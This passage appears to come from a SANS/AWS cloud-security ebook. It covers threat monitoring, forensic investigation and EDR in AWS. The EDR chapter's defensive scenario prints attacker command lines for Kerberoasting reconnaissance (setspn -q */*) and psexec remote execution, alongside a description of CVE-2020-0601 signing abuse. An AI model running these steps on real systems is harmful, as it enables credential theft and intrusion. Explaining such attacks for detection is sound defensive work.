day, all in different formats and stored across different platforms, a unified interface is needed for management. Figure 3 illustrates what that unified interface should include. Amazon GuardDuty is an AWS threat detection service that continuously monitors for malicious activity and unauthorized behavior. The analysis is based on threat intelligence feeds (such as lists of malicious IPs, domains, URLs from Amazon GuardDuty partners) and machine learning to identify unexpected, potentially unauthorized and malicious activity. Improving Visibility, Threat Detection, and Investigation in AWSAnalysis and VisualizationAmazon VPC Flow LogsData CollectionAWS ServicesAWS CloudTrail Logs AWS Partner SolutionsAlerting and DetectionTaking Action Figure 3. Unified Interface for Management of Events and Alerts Amazon GuardDuty combines, analyzes and processes the following data sources: • AWS CloudTrail event logs — Monitors all access and behavior of AWS accounts and infrastructure • Amazon VPC Flow Logs and DNS logs — Identifies malicious, unauthorized or unexpected behavior in AWS accounts and infrastructure It is important to note that Amazon GuardDuty was not designed to manage logs or make them accessible in your account. It is built for AWS workloads and AWS data, and is not intended to support data from on-premises or other services. For example, in the case of DNS logs, Amazon GuardDuty can access and process DNS logs through the internal AWS DNS resolvers, but not from third-party DNS resolvers. After it receives the logs, it extracts various fields from these logs for profiling and anomaly detection, and then discards the logs. It is important to collect and store your flow and API logs, as discussed in the “Data Collection” section, in order to retain them for investigations. The produced security findings (potential security issues) can be viewed in the console, retrieved via an HTTPS API. Alternatively, Amazon GuardDuty can create Amazon CloudWatch Events that can be sent to a SIEM platform, or automated remediation actions can be performed by using AWS Lambda. Security findings are assigned a severity level of high, medium, or low. These findings are detailed and include information about the affected resource as well as attacker IP address, ASN and IP address geolocation. Amazon GuardDuty has various finding types that cover the entire attacker life cycle, such as reconnaissance, unauthorized access, privilege escalation and persistence. By importing these findings into AWS Security Hub, you can filter and archive results and create a collection of findings, called “ insights,” that are grouped. Insights help to identify common security issues that may require remediation action. AWS Security Hub includes several managed insights by default, but you can create custom insights too. These findings are displayed on dashboards with actionable graphs and tables. 201AWS Security Hub also generates its own findings by running automated, continuous configuration and compliance checks based on industry standards and best practices from the Center for Internet Security (CIS) AWS Foundations Benchmark, which is enabled by default. These checks provide a compliance score and identify specific accounts or resources that require attention. To take advantage of the benefits AWS Security Hub provides, you have to enable and configure the settings of these data sources through their respective consoles or APIs. AWS Security Hub also integrates with AWS CloudTrail, which captures API calls for AWS Security Hub as events. Organizations may need to use additional third-party tools to integrate with existing tools, to meet compliance requirements or simply to leverage additional features. AWS partners have several cloud- focused event management platforms available. Sumo Logic is a cloud-native data analytics platform, not only for security, but also for operations and business usage. Sumo Logic offers SIEM functionality and machine learning analytics to create baselines and perform anomaly-based detection. Splunk Technology also has several tools for cloud event management, such as Splunk Cloud for security and operational visibility. Open source analytics and monitoring hosted offerings like Amazon Elasticsearch Service on Elastic Cloud and Grafana are also available in AWS Marketplace. Alternatively, Amazon Elasticsearch Service offers Elasticsearch, managed Kibana and integrations with Logstash and other AWS Services. Automation The final step in the threat detection strategy is to bring in tools to automate response and remediation after the detection of a threat or vulnerability. This model has three major components: • Collecting and monitoring for events occurring in the environment using AWS CloudTrail logs, Amazon VPC Flow Logs and Amazon VPC Traffic Mirroring. Automated assessment services such as Amazon Inspector, CloudPassage Halo or AWS Config can collect security audit results. • Triggering alerts based on specific patterns and anomalies by relying on Amazon CloudWatch alarms, Amazon GuardDuty findings or alerts from third-party SIEMs. Amazon SNS can be used together with Amazon CloudWatch to send messages when an alarm threshold is reached. Improving Visibility, Threat Detection, and Investigation in AWS• Taking action and starting an automated reaction with tools like AWS Lambda. AWS services such as Amazon CloudWatch or Amazon GuardDuty can automatically trigger AWS Lambda code to perform actions. AWS Systems Manager also has the capability to run automation workflows with triggers using AWS Systems Manager State Manager. Security teams can also take advantage of security orchestration, automation and response (SOAR) platforms like Splunk Phantom or Palo Alto Demisto. Now, in the next section, we bring together all the steps in building a threat detection strategy. Security Monitoring Best Practices in AWS A security team that takes into consideration the recommendations of the previous sections and makes the time investment to fit together the different detection components is able to use cloud-native services and define automated detection and remediation workflows. By reducing the amount of manual labor in the team, the team has more time to focus on other areas of information security. “By reducing the amount of manual labor in the team, the team has more time to focus on other areas of information security.” AWS Security Monitoring Best Practices Some of the most important security monitoring recommendations for the team include: • Turn on AWS CloudTrail logging in every Region and integrate it with Amazon CloudWatch Logs. Ensure that log file validation is enabled and that logs are encrypted using AWS Key Management Service (KMS). • Turn on Amazon VPC Flow Logs for every VPC, or at least for the ones with critical assets. 203• Leverage Amazon S3 bucket versioning for secure retention and use Object Lock to block object version deletion. Create Write-Once-Read-Many Archive Storage with Amazon S3 Glacier for long-term storage. • Aggregate AWS CloudTrail log files from multiple accounts to a single bucket. It is a good security practice to set up a separate account and replicate logs to that account, so logs cannot be deleted for a particular account. • Monitor events and set up Amazon CloudWatch alarms for: • User and identity and access management (IAM) activity, especially login events and admin user activity • Resource creation events • Failed access to resources • Policy and configuration changes • VPC configuration changes related to security groups, NACs, network gateways, route tables, etc. • API calls such as storage attribute changes, unauthorized calls and AWS Lambda events • Activity in unusual Regions and at unusual time frames The CIS has benchmarks on AWS monitoring and logging, offering basic but sound recommendations that anyone can implement and use as a starting point: • The CIS Amazon Web Services Foundations document provides guidance for configuring security options for a subset of AWS. • CIS Amazon Web Services Three-tier Web provides guidance for establishing a secure operational posture for a three-tier web architecture deployed to the AWS environment. Improving Visibility, Threat Detection, and Investigation in AWSThe Process This process has to start with data collection. The security team must set up AWS API and user activity logging with AWS CloudTrail. These logs are the team’s sources for the metrics and triggers it identifies for the Amazon CloudWatch alarms. This already makes the team capable of responding automatically to events such as resource changes, for example, when someone tries to disable AWS CloudTrail logging or log in with an AWS account root user at unexpected times from an unexpected location. These can be simple rules to indicate the events of interest and the automated actions to take when an event matches a rule. The actions that can be triggered include but are not limited to: • Invoking an AWS Lambda function • Invoking Amazon EC2 Run Command • Notifying an Amazon SNS topic To monitor network traffic and packet flows in its VPCs, the team will rely on Amazon VPC Flow Logs and configure Amazon VPC Traffic Mirroring to send traffic from instances to network security sensors. Depending on the skill set of the security team members, the team might choose to use open source tools for its NIDS/NIPS and HIDS/HIPS needs, or deploy APN partner AMIs like NGFW/UTM appliances across their VPCs. If the security team wants to go one step further, it can enable AWS-built services like AWS Trusted Advisor, AWS Config, Amazon Inspector and Amazon GuardDuty. These are designed to exchange data and interact with other core AWS services, to identify potential security findings and raise alarms. AWS Security Hub or an APN partner event management service could allow the team to enable, configure and connect APN partner tools and review findings in one central location. AWS Security Hub can also automatically send all findings to Amazon CloudWatch Events. After an Amazon CloudWatch Event is sent or a finding notification is posted to an SNS topic, an AWS Lambda function can be triggered, and services like AWS Systems Manager can be used from within the AWS Lambda function to perform automatic remediation on the instance. 205Conclusion By relying on the most common data sources, organizations can build a powerful threat detection strategy and gradually improve their monitoring capabilities. The focus should be on the data types that can provide the highest value and not only cover network and system monitoring but also have the information needed for cloud environment monitoring. Advancements in monitoring, such as Amazon VPC Traffic Mirroring, can be the means of adapting traditional security monitoring techniques to the cloud. Collecting the data is just one half of the equation. Without analysis and event management, data collection does not provide any value. Analysts can detect suspicious or malicious events during a manual threat hunting process or alerts could be triggered based on predefined conditions, rules or machine learning. Combining the different cloud-native services and features available can also help in detecting threats. The ultimate goal is to take advantage of automation tools that can serve as a force multiplier and assist security teams immensely in incident response and vulnerability remediation by automating the most common tasks. About the Author David Szili is a SANS instructor for SANS FOR572: Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response. A managing partner and CTO at a Luxembourg-based consulting company, he has more than eight years of professional experience in penetration testing, red teaming, vulnerability assessment, vulnerability management, security monitoring, security architecture design, incident response, digital forensics and software development. David holds several IT security certifications, including the GSEC, GCFE, GCED, GCIA, GCIH, GMON, GNFA, GYPC, GMOB, OSCP, OSWP and CEH. He is also a member of the BSides Luxembourg conference organizing team. Improving Visibility, Threat Detection, and Investigation in AWSChapter 17: How to Perform a Security Investigation in AWS “One of the more common questions that I receive is, ‘Now that we’ve moved to the cloud, how does the investigation or incident response process change?’ Throughout this chapter I address the different cloud-specific considerations teams need to review throughout the SANS incident response steps, and what they can do to improve and update their processes when moving to the cloud—because as they will discover, not all of the processes that they have used traditionally for on-premises incident response and investigations necessarily migrate to the cloud.”Kyle Dickinson SANS Instructor & Author Improving Visibility, Threat Detection, and Investigations in AWS 207207Introduction With the rapid growth of cloud service providers and the appeal, for organizations, of no longer having to manage their own data centers, more organizations are migrating to infrastructure-as-a-service (IaaS) providers. And the ability to stand up global infrastructure in a few clicks, or through a Continuous Integration and Continuous Deployment (CI/CD) pipeline, is drawing developers to cloud services as well. What does this mean for incident response and forensics teams? We advocate for putting cloud-specific plans into place, because the technologies that enable investigations in the cloud differ from the ones for on premises, as do the levels of responsibility. In this paper, we cover incident response plans in IaaS implementations, various services available that aid in conducting an investigation and the different components of an audit log. We also explore how to perform a forensic image analysis and how to review the communications that are coming to and from an EC2 instance. Investigations vs. Incident Response Investigations (or forensics), by definition is “… the process of using scientific knowledge for collecting, analyzing, and presenting evidence. …”¹ Although investigations do not have to be aimed at providing evidence for a court case, understanding the process is important. We examine these two data sources next. The process of using scientific knowledge to collect, analyze and present evidenceInvestigations Incident response The process of using knowledge gained from an investigation to address a security incident ¹ US-Cert, “Computer Forensics,” www.us-cert.gov/sites/default/files/publications/forensics.pdf Improving Visibility, Threat Detection, and Investigation in AWSHow Investigations Differ in Cloud-Based Environments When performing an investigation in Amazon Web Services (AWS),² it’s essential to understand that the investigation “playbook,” or process, that an organization has for on-premises investigations is not exactly the same as for cloud-based investigations. Table 1 shows the differences between on-premises and cloud-based investigations. The majority of the data sources and preparatory steps should be included in an incident response plan, which changes based on the type of cloud service model that is being consumed, such as software-as-a- service (SaaS), platform-as-a-service (PaaS) and infrastructure-as-a-service (IaaS). Process Disk imaging Memory acquisition Network loggingOn-Premises Physical drive connected to forensic workstation Physical access to workstation as it’s running PCAP in-line with netflowIn the Cloud Snapshot taken from Amazon EC2 instance, converted to volume and attached to forensic instanace Private key or local user/trusted host access required Amazon VPC Traffic MirroringTable 1. On-Premises vs. Cloud-Based Investigations The Incident Response Process Let’s start by outlining the incident response process. An incident response is typically triggered by reports of “something happening” or notification that “something happened.” Figure 1 shows the step for responding using the SANS six-step incident response methodology.³ This methodology can easily be adapted to cloud-based environments. Recovery Containment Preparation Lessons Learned Eradication Identification Figure 1. SANS Incident Response Steps ² Because this paper is an exploration of performing investigations in AWS, it is important to talk about the tools available. The use of these examples is not an endorsement of any product or service. ³ “Incident Handler’s Handbook,” December 2011, www.sans.org/reading-room/whitepapers/incident/incident-handlers- handbook-33901 209Here’s a simple example: Preparation • What cloud service provider is being used? • What is the deployment model? (Public, hybrid, private?) • What is the cloud model? (SaaS, PaaS, IaaS?) Identification • Is there unusual activity in the audit logs? • Did something get misconfigured? Containment • Can we disable a user’s access? • Can we isolate the VM or subnet? • How do we acquire an image? Eradication • Can we remove affected systems? • Can we remove/replace compromised credentials? Recovery • Can we restore normal business operations? • Is a business continuity plan available? • Did that plan need to be implemented? Lessons Learned • What gaps in coverage did we discover? • How do we close those gaps? Improving Visibility, Threat Detection, and Investigation in AWSFor cloud-based environments, the preceding methodology does not provide a complete incident response plan; however, we can see there may be some crossover from an on-premises plan, but it is not a one-for-one replacement when moving to the cloud. Shared Responsibility Model The shared responsibility model is a common method of determining where the responsibility shifts and which party is responsible for specific parts of the infrastructure. Depending on the type of service you’re consuming, the provider can be responsible for some aspects or most aspects of the cloud. Typically, with IaaS, the provider is responsible for security of the cloud, while our security teams are responsible for security in the cloud. When moving to IaaS providers, such as AWS, security teams must consider capabilities and services like the ones shown in Table 2. Capability Compute Storage NetFlow AuditingAWS Service Amazon Elastic Cloud Compute (EC2) Amazon Elastic Block Store (EBS), Amazon Simple Storage Service (S3), Amazon Elastic File System (EFS) Amazon VPC Flow Logs, Amazon VPC Traffic Mirroring AWS CloudTrail Description Uses Amazon Machine Images (AMIs) to get started Multiple OS support Pay for what you use Next-gen Nitro infrastructure, created by AWS Amazon S3 offers multiple storage classes for multiple use cases. Amazon EBS is used for the “block device” or hard drive for Amazon EC2 instances. Amazon EFS is used for file sharing storage with two storage classes to choose from. Capture information of network traffic going in and out of a VPC User attribution data Log integrity can be enabled Can send data to an Amazon S3 bucket for storage/archivalTable 2. Key Capabilities and Services 211211Modern Security Controls A typical on-premises environment may include the following tools that could be used in conducting incident response or investigations: • Network intrusion detection systems (NIDS) • Packet capture devices or network taps • Vulnerability management scanners • Endpoint detection • Proxies and firewalls When we move our investigations to a cloud-based environment, there are no decisions like “Where to ship my NIDS, network taps, vulnerability management, etc. …” details. This is because we lose physical access to our infrastructure. That is okay. Instead of worrying about physical infrastructure, we can now focus on how to modernize our security controls. AWS Marketplace allows security teams to stand up modern tooling that can come in the form of SaaS or AMIs and allow organizations to use the capabilities provided by AWS Partners to supplement the services that are available directly from AWS. To better understand how to conduct an investigation within AWS, it is best that we understand the native services available to security practitioners so that we can understand what is and is not possible out of the box. This also strengthens the understanding of how to integrate the different capabilities that third-party tools offer. Using AWS Services in Investigations As part of the evidence gathering and analysis process, user attribution information tells us about the activity that a particular resource or user has performed. In the following sections, we discuss these activities as well as describe how to gain insight into network traffic. Improving Visibility, Threat Detection, and Investigation in AWSUnderstanding User Activity AWS CloudTrail gives security teams the who/what/when/where/how of the activity being investigated. This is the information that the auditing data teams need to better understand a user’s actions. By default, AWS CloudTrail is enabled within the AWS Management Console. However, to ship these logs out of the account to a SIEM or log analysis tool, we need to set up a trail first. If we look at an example of an AWS CloudTrail log in the AWS Management Console, security teams have multiple ways to search for data: • Username — Search by the user’s name • Event name — Search by a specific API call (e.g., DeleteTrail) • Resource type — Search by an AWS service type (e.g., Amazon EC2 instance) • Resource name — Search by a resource name (e.g., instance ID, ENI) • Event source — Search results from specific AWS services • Event ID — Search based on a unique ID for an AWS CloudTrail event • AWS access key — Search by access key to show what was done in a single session Figure 2 shows an example of an AWS CloudTrail event. By looking at the single AWS CloudTrail event shown in Figure 2, we can piece together that the user (Marc the intern) successfully logged into the AWS Management Console using Google Chrome, from IP address 11.22.33.44, using a password with no multifactor authentication. Keeping this information in mind, the majority of these fields remain persistent in each AWS CloudTrail event as we look to conduct an investigation. Having this data visualized and stored in a central location aids us significantly. Not only do we benefit from having the logfiles stored in a single location under the security team’s control, but we have heightened security controls around this storage. Visualization allows investigators to demonstrate the activity and the location from which the activity was performed. 213213 “We highly recommend that you enable Amazon VPC Flow Logs for your VPCs; they are not enabled by default.” Gaining Visibility into Network Traffic Amazon VPC Flow Logs provide visibility of network traffic going in and out of a VPC, also known as north-south traffic. Looking at the structure of a VPC Flow Log, we see the details listed in Figure 3.Figure 2. An AWS CloudTrail Event The userIdentity used for the event: type: Shows if a role or user was used principalId: Unique identifier for this specific user (Think SID) arn: Amazon Resource Name accountId: Which account ID was logged into userName: User that authenticated Additional details: eventTime: Zulu time for when the event occurred eventSource: How the API was called eventName: One of many API calls that can be used within AWS awsRegion: Which region the console was set to log into (can vary depending on how the login was initiated; good source to determine if activity is occurring outside of normal regions) sourceIPAddress: The IP address that the request was sent from userAgent: Fingerprint of what was used (browser or CLI version) requestParameters: What was included in the request responseElements: If the API delivers a response, this section contains additional details Improving Visibility, Threat Detection, and Investigation in AWSForensic Acquisition Should the incident require the security team to perform forensics on an Amazon EC2 instance, we need to take a snapshot of that instance and create a volume from that snapshot to share to a SIFT Forensic Workstation. The following steps are an example of that process for a compromised implementation: 1. Create a security group that does not allow outbound traffic 2. Attach to compromised Amazon EC2 instance 3. Take snapshot of Amazon EC2 instance 4. Perform memory acquisition, if possible 5. Share snapshot with Security Account (if using one) 6. Create volume from snapshotFigure 3. Structure of a VPC Flow Log90123456789 eni-0fe570007a111e2e3 104.248.185.25 10.0.1.19 32767 3389 6 1 40 1567551544 1567551586 REJECT OKAccount ID Source Port Source IP End Time ProtocolBytes Transferred ENI ID Destination IP Destination Port Start Time Action TakenAmazon VPC Flow Logs give us a high-level view of network traffic. Exporting this data to a SIEM can add more context to Flow Logs by correlating threat intelligence data to the source or destination IP addresses to determine whether Amazon EC2 instances are communicating to potentially hostile hosts, such as those known from cryptomining or botnets. Amazon VPC Traffic Mirroring is another method of obtaining insight into your network traffic that is available on AWS Nitro instances. What’s handy about Amazon VPC Traffic Mirroring is that it’s a “spanport-as-a-service” that enables security to send all north-south traffic to another instance for further analysis, if required, or integrate to another traffic-analysis toolset. 2152157. Attach volume to SIFT EC2 instance 8. Conduct forensics It is possible to automate this process, which would provide faster data acquisition and response. About the Author Kyle Dickinson teaches SANS SEC545: Cloud Security Architecture and Operations and has contributed to the creation of other SANS courses. He is a cloud security architect for one of the largest privately held companies in the United States. As a strategic consultant in his organization, Kyle partners with businesses in various industries to better understand security and risks associated with cloud services. He has held many roles in IT, ranging from systems administration to network engineering and from endpoint architecture to incident response and forensic analysis. Kyle enjoys sharing information from his experiences of successes and failures. Improving Visibility, Threat Detection, and Investigation in AWSChapter 18: How to Leverage Endpoint Detection and Response (EDR) in AWS Investigations “Detection is a game that is difficult to play well. Visibility and understanding go hand-in-hand when it comes to decision making. Is something suspicious? Why? If you do not have visibility, then your informed decisions are null and void. Endpoint detection and response (EDR) provides in-depth coverage of what is occurring within an operating system and works for private organizations as well as large-scale cloud solutions. Cloud deployments of EDR solutions support auto-deployment, asset control and dynamic rulesets. Most importantly, they provide context-driven detection that educates and informs organizations. The result is an ability to take control of your assets enterprise-wide.”Justin Henderson SANS Certified Instructor & Author Improving Visibility, Threat Detection, and Investigation in AWS 217Introduction The security challenges organizations face are often a direct result of evolving technologies such as virtual machines, containers, storage and even serverless code. Technology is not static. It changes dynamically via new developments such as infrastructure as code (IaC) and auto-scaling capabilities found at multiple layers of service. The result of this technological evolution is complexity in cloud environments. To secure such environments, you have to know and understand them. Effective security teams implement appropriate technologies to mitigate potential challenges—for example, EC2 instances configured in a way that allows fileless malware such as the PowerShell Invoke- Mimikatz to steal credentials, or unsecured containers that an attacker can inject a PHP or .NET web shell into in order to access files and databases in Amazon S3 buckets, MySQL or an Amazon Relational Database Service (RDS). To enable more effective approaches to ensuring security, this paper illustrates how to leverage endpoint detection and response (EDR) in Amazon Web Services (AWS) to achieve a higher standard of security while simplifying management overhead. The goal is to ease the burden of cloud security via EDR technologies. Acquiring Cloud Visibility The first step in securing an AWS environment is not unique: Security teams need to understand what assets they have. After all, you cannot protect what you do not know exists. Traditionally this is a three- step process, as defined in Table 1. Step Network scanning Service enumeration Agent installationDefinition A process to identify your assets and where they exist A process to identify assets by querying a management service A process to push a security agent to an assetExample Performing a port scan of Amazon EC2 instances Asking Kubernetes or Docker what containers exist Installing or using a log agent like Syslog-NGTable 1. Asset Identification Process Improving Visibility, Threat Detection, and Investigation in AWSBut when it comes to cloud visibility, that traditional approach could leave gaps in coverage because of the way customers configure their environment. Good security practices involve customers locking down their assets, but a network scan would not identify all EC2 instances, because of customer configuration of Amazon security policies, network firewalls, and potentially endpoint controls or configurations. The lockdown of EC2 assets improves security, but it also makes 100% asset discovery difficult or impossible. Yes, an agent can easily be deployed to EC2 instances. However, because of an inability to see all instances and understand the underlying operating system, it is not possible to be aware of all assets in order to push agents to them. A more comprehensive approach is needed. In addition, containers, Amazon S3 storage and serverless code execution are not traditional computer technologies. For them, deploying an agent is not necessarily an option, and even if it is for your organization, we recommend against this practice. Consider an Amazon EKS container running Nginx. This container is designed to run Nginx and nothing else, as indicated by the following code: P ID % C P U % M E M V S Z R S S TTY S T A T S T A R T T IM E C O M M A N D root 1 0.0 0.1 1063 2 5488 pts/0 S s+ 18:49 0:00 nginx: m aster process nginx -g daem on off nginx 6 0.0 0.0 11104 2664 pts/0 S + 18:49 0:00 nginx: w orker process Can you deploy an agent within a container? Yes. Should you? No, because deploying agents to a container introduces software dependencies, increases computational resources and adds management overhead. However, without the ability to discover and protect containers, you are exposing yourself to a lot of risks. The same holds true for other services such as Amazon S3 storage. You cannot directly deploy an agent to an S3 bucket, but it still needs to be monitored for unauthorized access. To achieve a holistic view of your AWS environment, consider adopting a modern methodology that integrates with AWS. AWS supports multiple EDR vendors that utilize Amazon APIs to move past the “everything requires an agent” approach. The steps outlined in Figure 1 on the next page show a more modern process. Adopting a unified and holistic view of assets brings a simplified understanding of your environment. You can easily deploy these solutions, requiring you only to choose and subscribe to the vendor in AWS Marketplace. For example, subscribing to CrowdStrike’s EDR1 provides the capability to probe Amazon EC2, Amazon Elastic Container Service (ECS), and Amazon Elastic Kubernetes Service (EKS) to provide EDR, next-generation antivirus, threat intelligence and more. 219Query Amazon API Deploy Agent Deploy Monitor Service • Vendor solutions ask AWS what assets exist. • Responses include supported technologies, including Amazon EC2, Amazon ECS, Amazon EKS and Amazon S3.• If asset supports agents, process identifies the supported method for pushing an agent to the asset automatically.• If asset doesn't support agents (Amazon ECS, Amazon EKS containers), a specialized service can be deployed. • Security is added in an agentless fashion through Amazon APIs. Figure 1. Modern Asset Identification Process Deploying Controls to EC2 Instances When implementing security controls to EC2 instances, it is imperative to plan for scale. What happens when you add or remove EC2 instances? A good place to begin is with the Center for Internet Security’s (CIS) Critical Security Controls1 1 and 2: Keep an inventory of authorized and unauthorized hardware and software. An effective AWS EDR strategy incorporates this principle by supporting automatic deployments. Let’s use CrowdStrike’s EDR solution2 to demonstrate how to integrate EDR in AWS. The process for deploying EDR in AWS using CrowdStrike follows these steps: 1. Subscribe to CrowdStrike EDR (found in AWS Marketplace). 2. Deploy CrowdStrike Falcon Discover. a. Falcon Discover acquires access keys to query AWS. With these keys, it identifies all EC2 instances, even across regions. 1CrowdStrike, CrowdStrike Falcon and Falcon Discover are trademarks or registered trademarks of CrowdStrike Inc. 2www.cisecurity.org/controls 3This paper mentions solutions to provide a real-life example of how to integrate EDR in AWS. The use of these examples is not an endorsement of any solution. Improving Visibility, Threat Detection, and Investigation in AWS “An EDR solution should auto-scale and grow with you, not slow you down.” Achieving Proper Security Controls The phrase “Here be dragons” designates unexplored and potentially dangerous areas. For security professionals, there certainly are metaphorical dragons in EDR and caution is necessary. There are many products that claim to be EDR solutions. Although each of them provides endpoint controls, their depth of coverage and capabilities vary, resulting in different levels of protection. Let’s explore capabilities a successful EDR solution should provide by considering a plausible attack against an EC2 instance. Attack Scenario: Consider this scenario: An organization is running a Windows EC2 instance with MSSQL services. An attacker is trying to identify critical assets but so far has only a standard account on a different EC2 instance. To escalate b. The user authorizes Falcon Discover to deploy agents to specific EC2 instances or all instances automatically. c. Agents continuously auto-deploy to authorized instances. d. Optional: Falcon Discover is configured to monitor other assets such as CloudTrail. If enabled, this capability provides additional security controls such as alerting on tenant-level security controls. 3. The organization reports on asset coverage and monitors alerts. 221privileges, the adversary runs setspn to identify accounts vulnerable to what is commonly referred to as a Kerberoasting. Because MSSQL servers use service principal names (SPNs), the adversary finds the EC2 MSSQL service, pulls down a Kerberos ticket and then uses a password cracker to identify the MSSQL service account password. This account is then utilized to gain access to the E C2 instance using psexec. From there, the attacker establishes persistence by creating a digitally signed Microsoft executable due to a flaw from missing the patch for CVE-2020-0601, which allows abuse of the cryptographic process for Elliptic Curve Cryptography (ECC) handled by the Windows operating system. That process results in a persistent command and control that looks normal because the binary has been digitally signed by Microsoft. The further activity includes enumerating the MSSQL database. The scenario provided is a bit convoluted. However, each step utilizes known attack techniques classified by the MITRE ATT&CK framework.4 But just because something is a known technique does not mean it automatically should be blocked or flagged as an automatic alert. Consider the breakdown of this scenario: MITRE T1208 Kerberoasting—setspn, klist and PowerShell can be utilized to export a Kerberos token. This can then be password-cracked if the password is weak. • Identification —Commands like setspn are not utilized by standard users and would often be an anomaly. • Problem —System administrators do use setspn . Alerting on each use would generate multiple false positives. MITRE T1035 and T1050— The use of psexec to gain remote access would trigger a new service and its corresponding execution. • Identification —psexec is not necessary if organizations use other remote access tools, such as PowerShell remoting. • Problem —Organizations may utilize psexec as a standard remote access tool. MITRE T1116 —Abusing CVE-2020-0601 to create a binary that appears to be digitally signed by Microsoft and then using that binary for persistent callbacks provides an adversary stealth communication. 4https://attack.mitre.org; MITRE ATT&CK Matrix is a trademark of The MITRE Corp. Improving Visibility, Threat Detection, and Investigation in AWS • Identification —A digitally signed certificate should conform to proper Elliptic Curve Cryptography (ECC) standards. • Problem —Software may use different algorithms, key lengths and other attributes when generating certificates. MITRE T1219 —The adversary left a binary on the MSSQL server to maintain remote access. • Identification —Persistence mechanisms generate network traffic to other assets that should not be happening. • Problem —Because of asset management, patching and other system processes, it may be difficult to distinguish a good network callback from a malicious one. Given this scenario, a proper EDR solution should provide multiple angles to identify the adversary. Each step could be a regular event. However, by analyzing the series of events, an EDR solution should clearly identify and even stop this attack. The following sections describe the features to look for in modern EDR solutions that would aid in this attack. Process Tree One method of finding unwanted activity is monitoring each process. This includes process, command line, parent process, parent process command line, user, integrity level and other related variables. This information then is correlated with the chain of processes occurring. EDR should identify abnormal processes or an abnormal chain of events and provide a visual process tree to explain why something is considered harmful (see Figure 2). “Organizations need to cautiously evaluate EDR solutions against modern threats and risks.” 223 User: WEBAPP01$ Process: WmiApSrv.exe Host: WEBAPP011 User: WEBAPP01$ Process: setspn.exe –q */* Host: WEBAPP012 User: WEBAPP01$ Process: powershell.exe Host: WEBAPP013 User: SVC_mssql Process: powershell.exe Host: MSSQLSRV6 User: SVC_mssql Process: svchost.exe Host: MSSQLSRV7User: WEBAPP01$ Process: PSEXESVC.exe Host: MSSQLSRV5User: WEBAPP01$ Process: psexec.exe \ \mssqlsrv cmd.exe -u SVC_mssql Host: WEBAPP014 Figure 2. A Process Tree Diagram MITRE Tagging Instead of reinventing the wheel, EDR solutions should integrate with known, proven frameworks. The MITRE ATT&CK framework is one of the most practical approaches to identifying attacker techniques, tools and behaviors. Each piece on its own is not enough to block an attack or generate an alert. However, specific techniques are more likely to be malicious than others, and EDR solutions can search for a combination or sequence of techniques and score them. Commercial EDR scores then combine to block or identify an attack, plus help analysts by telling a story of what happened. Figure 3 provides a sample visualization of the attack. Improving Visibility, Threat Detection, and Investigation in AWSSignatures, Heuristics and Machine Learning EDR should include domain expert-based heuristics as well as potential algorithms that adapt over time, such as supervised or unsupervised learning. In the sample scenario, a basic heuristic check would identify that Kerberos reconnaissance commands were issued, followed by an authentication request from the original source EC2 instance. Machine learning may identify that the source user is highly unlikely to run commands like klist or setspn . Even traditional signatures may work by looking for an improperly formed Elliptic Curve Cryptography (ECC) generator set that abused CVE-2020-0601. IoC Support A robust EDR solution should offer the ability to identify a given activity and search for it across the entire environment. Put plainly, an organization should be able to identify the characteristics of an attack and document them in the form of an indicator of compromise (IoC). IoCs can be specific and straightforward, such as the SHA1 of the binary used for persistence in the scenario. Or they can be specific, with broad characteristics such as looking for certificate files with specific algorithms, key lengths and file sizes.7:03 AM T1190 Exploit public-facing application 2:31 PM T1035 Service execution via psexec2:04 PM T1208 Kerberoasting 3:06 PM T1116 Code signing of malware to make it look trusted7:03 AM T1100 Web shell 2:31 PM T1050 New service creation from psexec 2:31 PM T1077 Windows admin shares access via psexec2:05 ~ 2:30 PM T1110 Brute force password cracking (not visible but assumed) 3:07 PM T1219 Remote access tools callback Figure 3. Graphical Description of the Attack 225 “EDR should be a sum of its parts: signatures for known bad, heuristics based on domain-expertise and machine learning for finding anomalies.”Ideally, IoC support should include vendor-defined IoCs that regularly update, plus the ability to develop internal IoCs and perform threat hunting with them. With such capabilities, organizations can perform investigations looking for IoCs from previously identified IoCs or proactively by looking for IoCs shared from external parties. Support for standard IoC formats such as YARA should be given consideration so that IoCs work outside the EDR platform. Provide Attribution Attribution is the ability to associate something with a person or entity. Within EDR, organizations should utilize MITRE ATT&CK and any proprietary sources to help them understand who or what is attacking them. At a minimum, such information is useful to understand what may occur next. For example, with profiling, various techniques, tools and IoCs may indicate that a known threat group is in play. In our scenario, profiling may inform the organization that the specific attack group has access to the EC2 instance, and the organization should look for specific backdoor programs. More importantly, the information can predict what the attack group’s goal is, such as stealing healthcare information. Using this, an organization can make an informed decision to pause the EC2 instance or take alternative steps. Response Capabilities Given enough high-fidelity information, EDR should block or reverse the damage from the attack. If the attack was ransomware, EDR should restore encrypted files pre-ransomware. In our scenario, given that it is possible that the attack would not be blocked until a certificate was generated to exploit CVE- 2020-0601, EDR would identify the attack and notify an analyst. Then, an analyst could choose to take remediation actions given in prior steps in the scenario. The response does not have to be the standard Improving Visibility, Threat Detection, and Investigation in AWSone of blocking a connection and removing a file. A response should mean taking steps against the full scenario—for example, removing the persistence file abusing CVE-2020-0601, killing the psexec process and killing the process providing remote access to the initial EC2 instance. Real-Time Vulnerability Reporting Because an EDR solution resides directly on an endpoint, it should identify all software that is installed or running. Because of this, it is possible to have real-time vulnerability reporting. Vulnerability scanning is hard to scale, but with an EDR partner that uses it for vulnerability reporting, it does not have to be. EDR and Container Security EDR solutions often employ agents for robust operating system visibility and protection mechanisms. But what about other deployments such as Amazon ECS and Amazon EKS containers? Some EDR solutions have no coverage for containers or anything that is not a traditional endpoint. An EDR deployment in AWS should provide coverage to more than just EC2 instances. Fortunately, multiple vendors support a broader range of coverage in the AWS cloud. Regarding containers, the following foundational constraints need consideration. • Containers, ideally, should run a single service. a. Be sure to design a container around a single process. b. Subprocesses such as an Nginx container running a master and worker are inline with best practices. Running multiple processes in parallel is not. • Containers should include only software that is necessary. a. Adding an agent bloats container images. b. Adding an agent also increases overhead computation, thus increasing costs. 227Knowing the principles behind deploying and managing containers, deploying an agent is far from ideal. While technically an agent can be embedded into an image, it’s a horrible idea due to the agent breaking the aforementioned foundational constraints. Still, most of the attack scenario described previously can work within containers, so if you use containers, be sure you identify an EDR solution that covers containers. The implementation of EDR into containers requires software that can see into a container. Similar capabilities such as monitoring processes, files and network connections need to work inside a container. To accomplish this, either an agent needs to be deployed into each container, or an image, a sidecar container or a centralized agent needs to be implemented. Let’s explore each option: • Agent —Installing agents inside a container is against good practice, hard to manage and computationally expensive. • Sidecar —A 